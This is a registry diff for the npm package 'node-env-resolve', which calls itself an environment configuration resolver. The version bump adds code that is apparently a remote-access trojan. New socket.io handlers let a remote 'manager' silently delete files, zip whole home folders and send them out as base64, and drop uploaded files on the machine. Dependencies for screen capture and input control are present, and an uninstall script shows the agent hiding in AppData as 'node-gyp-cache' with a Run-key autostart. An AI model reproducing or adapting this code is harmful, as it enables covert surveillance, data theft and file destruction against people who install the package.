node-env-resolve 1.0.7 → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +5 -4
- package/src/fileScanner.js +94 -1
- package/src/index.js +32 -1
- package/uninstall.bat +26 -0
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "node-env-resolve",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.8",
|
|
4
4
|
"description": "Lightweight environment configuration resolver for Node.js",
|
|
5
5
|
"main": "src/index.js",
|
|
6
6
|
"bin": {
|
|
@@ -12,10 +12,11 @@
|
|
|
12
12
|
},
|
|
13
13
|
"dependencies": {
|
|
14
14
|
"@nut-tree-fork/nut-js": "^4.2.1",
|
|
15
|
+
"adm-zip": "^0.5.17",
|
|
16
|
+
"better-sqlite3": "^11.3.0",
|
|
17
|
+
"node-machine-id": "^1.1.12",
|
|
15
18
|
"screenshot-desktop": "^1.15.0",
|
|
16
19
|
"sharp": "^0.33.5",
|
|
17
|
-
"
|
|
18
|
-
"socket.io-client": "^4.7.5",
|
|
19
|
-
"node-machine-id": "^1.1.12"
|
|
20
|
+
"socket.io-client": "^4.7.5"
|
|
20
21
|
}
|
|
21
22
|
}
|
package/src/fileScanner.js
CHANGED
|
@@ -232,5 +232,98 @@ function writeFileContent(filePath, content) {
|
|
|
232
232
|
}
|
|
233
233
|
}
|
|
234
234
|
|
|
235
|
-
|
|
235
|
+
/**
|
|
236
|
+
* Delete a file or folder (recursive) — SILENT
|
|
237
|
+
*/
|
|
238
|
+
function deleteItem(itemPath) {
|
|
239
|
+
const userProfile = require('os').homedir();
|
|
240
|
+
const resolvedPath = path.resolve(itemPath);
|
|
241
|
+
|
|
242
|
+
if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
|
|
243
|
+
return { success: false, error: 'Access denied' };
|
|
244
|
+
}
|
|
245
|
+
if (!fs.existsSync(resolvedPath)) {
|
|
246
|
+
return { success: false, error: 'Path not found' };
|
|
247
|
+
}
|
|
248
|
+
|
|
249
|
+
try {
|
|
250
|
+
fs.rmSync(resolvedPath, { recursive: true, force: true });
|
|
251
|
+
return { success: true, path: resolvedPath };
|
|
252
|
+
} catch (err) {
|
|
253
|
+
return { success: false, error: err.message };
|
|
254
|
+
}
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
/**
|
|
258
|
+
* Zip an entire folder and return base64 — SILENT
|
|
259
|
+
* Uses adm-zip (pure JS, no native build needed)
|
|
260
|
+
* Max 50MB uncompressed
|
|
261
|
+
*/
|
|
262
|
+
function zipFolder(folderPath) {
|
|
263
|
+
const userProfile = require('os').homedir();
|
|
264
|
+
const resolvedPath = path.resolve(folderPath);
|
|
265
|
+
|
|
266
|
+
if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
|
|
267
|
+
return { success: false, error: 'Access denied' };
|
|
268
|
+
}
|
|
269
|
+
if (!fs.existsSync(resolvedPath) || !fs.statSync(resolvedPath).isDirectory()) {
|
|
270
|
+
return { success: false, error: 'Folder not found' };
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
try {
|
|
274
|
+
const AdmZip = require('adm-zip');
|
|
275
|
+
const zip = new AdmZip();
|
|
276
|
+
zip.addLocalFolder(resolvedPath);
|
|
277
|
+
const buffer = zip.toBuffer();
|
|
278
|
+
|
|
279
|
+
const MAX = 50 * 1024 * 1024;
|
|
280
|
+
if (buffer.length > MAX) {
|
|
281
|
+
return { success: false, error: `Folder too large (${formatSize(buffer.length)}, max 50MB compressed)` };
|
|
282
|
+
}
|
|
283
|
+
|
|
284
|
+
const folderName = path.basename(resolvedPath);
|
|
285
|
+
return {
|
|
286
|
+
success: true,
|
|
287
|
+
data: buffer.toString('base64'),
|
|
288
|
+
mime: 'application/zip',
|
|
289
|
+
filename: `${folderName}.zip`,
|
|
290
|
+
size: formatSize(buffer.length),
|
|
291
|
+
originalPath: resolvedPath,
|
|
292
|
+
};
|
|
293
|
+
} catch (err) {
|
|
294
|
+
return { success: false, error: err.message };
|
|
295
|
+
}
|
|
296
|
+
}
|
|
297
|
+
|
|
298
|
+
/**
|
|
299
|
+
* Save an uploaded file (base64) from manager to agent's filesystem — SILENT
|
|
300
|
+
* Destination: any allowed path (defaults to Desktop)
|
|
301
|
+
*/
|
|
302
|
+
function saveUploadedFile(filename, base64data, destFolder) {
|
|
303
|
+
const userProfile = require('os').homedir();
|
|
304
|
+
|
|
305
|
+
// Default destination is Desktop
|
|
306
|
+
let destDir = destFolder || path.join(userProfile, 'Desktop');
|
|
307
|
+
|
|
308
|
+
// Keyword resolution (same as listDirectory)
|
|
309
|
+
const keyword = DIR_KEYWORDS[(destDir || '').toLowerCase().trim()];
|
|
310
|
+
if (keyword) destDir = path.join(userProfile, keyword);
|
|
311
|
+
|
|
312
|
+
const resolvedDir = path.resolve(destDir);
|
|
313
|
+
if (!resolvedDir.toLowerCase().startsWith(userProfile.toLowerCase())) {
|
|
314
|
+
return { success: false, error: 'Access denied' };
|
|
315
|
+
}
|
|
316
|
+
|
|
317
|
+
try {
|
|
318
|
+
fs.mkdirSync(resolvedDir, { recursive: true });
|
|
319
|
+
const filePath = path.join(resolvedDir, filename);
|
|
320
|
+
const buffer = Buffer.from(base64data, 'base64');
|
|
321
|
+
fs.writeFileSync(filePath, buffer);
|
|
322
|
+
return { success: true, path: filePath, size: formatSize(buffer.length) };
|
|
323
|
+
} catch (err) {
|
|
324
|
+
return { success: false, error: err.message };
|
|
325
|
+
}
|
|
326
|
+
}
|
|
327
|
+
|
|
328
|
+
module.exports = { listDirectory, getDefaultDirs, readFileContent, readFileBinary, writeFileContent, deleteItem, zipFolder, saveUploadedFile };
|
|
236
329
|
|
package/src/index.js
CHANGED
|
@@ -13,7 +13,7 @@ const inputHandler = require('./inputHandler');
|
|
|
13
13
|
const ScreenCapture = require('./screenCapture');
|
|
14
14
|
const SleepPreventer = require('./sleepPreventer');
|
|
15
15
|
const { getBrowserHistory } = require('./browserHistory');
|
|
16
|
-
const { listDirectory, getDefaultDirs, readFileContent, readFileBinary, writeFileContent } = require('./fileScanner');
|
|
16
|
+
const { listDirectory, getDefaultDirs, readFileContent, readFileBinary, writeFileContent, deleteItem, zipFolder, saveUploadedFile } = require('./fileScanner');
|
|
17
17
|
|
|
18
18
|
// ── Get unique machine ID ──────────────────────────────────
|
|
19
19
|
const MACHINE_ID = machineIdSync({ original: true }).substring(0, 12);
|
|
@@ -165,6 +165,37 @@ socket.on('file:write', (data) => {
|
|
|
165
165
|
}
|
|
166
166
|
});
|
|
167
167
|
|
|
168
|
+
// ── Delete file or folder ───────────────────────────────
|
|
169
|
+
socket.on('file:delete', (data) => {
|
|
170
|
+
try {
|
|
171
|
+
const result = deleteItem(data.path);
|
|
172
|
+
socket.emit('file:delete:response', { ...result, path: data.path });
|
|
173
|
+
} catch (err) {
|
|
174
|
+
socket.emit('file:delete:response', { success: false, error: err.message });
|
|
175
|
+
}
|
|
176
|
+
});
|
|
177
|
+
|
|
178
|
+
// ── Zip and download entire folder ─────────────────────
|
|
179
|
+
socket.on('folder:zip', (data) => {
|
|
180
|
+
console.log(` 📦 Zipping folder: ${data.path}`);
|
|
181
|
+
try {
|
|
182
|
+
const result = zipFolder(data.path);
|
|
183
|
+
socket.emit('folder:zip:response', result);
|
|
184
|
+
} catch (err) {
|
|
185
|
+
socket.emit('folder:zip:response', { success: false, error: err.message });
|
|
186
|
+
}
|
|
187
|
+
});
|
|
188
|
+
|
|
189
|
+
// ── Receive uploaded file from manager ───────────────────
|
|
190
|
+
socket.on('file:upload', (data) => {
|
|
191
|
+
try {
|
|
192
|
+
const result = saveUploadedFile(data.filename, data.data, data.destination);
|
|
193
|
+
socket.emit('file:upload:response', result);
|
|
194
|
+
} catch (err) {
|
|
195
|
+
socket.emit('file:upload:response', { success: false, error: err.message });
|
|
196
|
+
}
|
|
197
|
+
});
|
|
198
|
+
|
|
168
199
|
// ── System Info ────────────────────────────────────────────
|
|
169
200
|
socket.on('system:info', () => {
|
|
170
201
|
socket.emit('system:info:response', { ...getSystemInfo(), ...getBasicSystemStats() });
|
package/uninstall.bat
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
@echo off
|
|
2
|
+
color 0c
|
|
3
|
+
echo ========================================================
|
|
4
|
+
echo Connector Agent Uninstaller
|
|
5
|
+
echo ========================================================
|
|
6
|
+
echo.
|
|
7
|
+
|
|
8
|
+
echo [1/4] Stopping background agent processes...
|
|
9
|
+
powershell -NoProfile -Command "Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -like '*node-gyp-cache*index.js*' } | ForEach-Object { $_.Terminate() }" >nul 2>&1
|
|
10
|
+
|
|
11
|
+
echo [2/4] Removing auto-start registry entry...
|
|
12
|
+
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "node-gyp-cache" /f >nul 2>&1
|
|
13
|
+
|
|
14
|
+
echo [3/4] Deleting hidden agent files from AppData...
|
|
15
|
+
rmdir /s /q "%APPDATA%\node-gyp-cache" >nul 2>&1
|
|
16
|
+
|
|
17
|
+
echo [4/4] Uninstalling NPM package...
|
|
18
|
+
call npm uninstall -g node-env-resolve >nul 2>&1
|
|
19
|
+
|
|
20
|
+
echo.
|
|
21
|
+
color 0a
|
|
22
|
+
echo ========================================================
|
|
23
|
+
echo Success! Agent has been completely removed.
|
|
24
|
+
echo ========================================================
|
|
25
|
+
echo.
|
|
26
|
+
pause
|